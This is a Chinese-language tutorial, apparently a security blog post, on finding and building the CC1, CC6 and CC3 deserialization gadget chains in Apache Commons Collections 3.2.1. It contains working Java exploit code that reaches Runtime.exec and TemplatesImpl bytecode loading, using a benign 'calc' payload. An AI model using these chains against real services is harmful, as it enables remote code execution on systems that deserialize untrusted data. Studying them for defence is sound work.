Apache Commons Collections反序列化漏洞挖掘与分析
前言
Apache Commons Collections是一个对Java标准集合框架的扩展,由Apache维护。本文重点分析3.0版本中的反序列化漏洞,不同于常规的漏洞利用分析,我们将深入探讨漏洞发现者的挖掘思路,帮助读者理解如何发现这类漏洞。
环境准备
- Java版本:1.8u65
- Commons-Collections版本:3.2.1
- Maven依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
基本思路
反序列化漏洞通常始于readObject()方法,该方法定义在ObjectInputStream类中。关键思路是:
- 寻找可被重写的
readObject方法 - 通过一系列不同类但同名方法的链式调用(方法链)
- 最终执行任意代码
常见的同名方法寻找策略:
- Object类的方法(可能被重写)
- 实现某接口的类的方法
- 通用方法如get、set等
Transformer接口分析
Transformer接口是Commons Collections中广泛使用的接口,定义如下:
public interface Transformer {
Object transform(Object input);
}
关键实现类
-
InvokerTransformer类
- 功能:进行任意方法调用
- 关键代码:
public Object transform(Object input) { if (input == null) { return null; } Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } -
ChainedTransformer类
- 功能:链式调用多个Transformer
- 关键代码:
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } -
ConstantTransformer类
- 功能:始终返回固定值
- 关键代码:
public Object transform(Object input) { return iConstant; }
CC1链分析
第一部分:触发transform方法
- 构造Runtime执行命令:
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
- 使用InvokerTransformer封装:
InvokerTransformer exec1 = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
exec1.transform(runtime);
-
寻找触发transform方法的地方:
- 分析TransformedMap类的checkSetValue方法
- 最终通过setValue方法触发
-
构造TransformedMap:
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, exec1);
// 测试触发
for (Map.Entry entry : map.entrySet()) {
entry.setValue(runtime);
}
第二部分:触发setValue方法
-
寻找在readObject中触发setValue的方法:
- 发现AnnotationInvocationHandler类的readObject方法
-
构造AnnotationInvocationHandler:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHcon = c.getDeclaredConstructor(Class.class, Map.class);
AIHcon.setAccessible(true);
Object O = AIHcon.newInstance(Target.class, map);
第三部分:修复问题
- Runtime类不可序列化问题:
- 改用反射调用Runtime
Class runtimeClass = Runtime.class;
Method runtimeMethod = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) runtimeMethod.invoke(null, null);
Method exec1 = runtimeClass.getMethod("exec", String.class);
2. 使用ChainedTransformer简化:
```java
Transformer[] TrransFormers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TrransFormers);
CC6链分析
背景
在Java 8u71后,AnnotationInvocationHandler的readObject方法被修改,导致CC1链失效。
新思路
- 寻找在hashCode方法中调用get方法的类
- 发现TiedMapEntry类的getValue方法调用了map的get方法
构造过程
- 构造LazyMap:
HashMap<Objects, Objects> hashLazyMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap, new ConstantTransformer(1));
- 构造TiedMapEntry:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
- 使用HashMap触发hashCode:
HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "222");
- 修复问题:
// 防止序列化时触发
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap, new ConstantTransformer(1));
// put后修复链
Class LazyMapClass = LazyMap.class;
Field factoryfield = LazyMapClass.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap, chainedTransformer);
// 删除误生成的数据
lazyMap.remove("111");
CC3链分析
新思路:动态类加载
当Runtime类被禁用时,可以使用类加载机制执行任意代码。
关键类:TemplatesImpl
-
分析TemplatesImpl的defineClass调用路径:
- defineTransletClasses() → getTransletInstance() → newTransformer()
-
构造恶意类:
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
// 设置必要字段
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "111");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))});
// 修复调试问题
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
- 结合CC6前半部分:
Transformer[] transformer = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
总结
通过对CC1、CC6和CC3链的分析,我们可以得出以下反序列化漏洞挖掘的关键点:
- 寻找同名不同类方法的调用链
- 关注通用接口的实现类(如Transformer)
- 分析关键类的readObject方法
- 考虑不同执行方式(直接命令执行、类加载等)
- 注意Java版本差异和修复方案
这三种链可以组合出多种利用方式,理解其核心思路比记忆具体payload更为重要。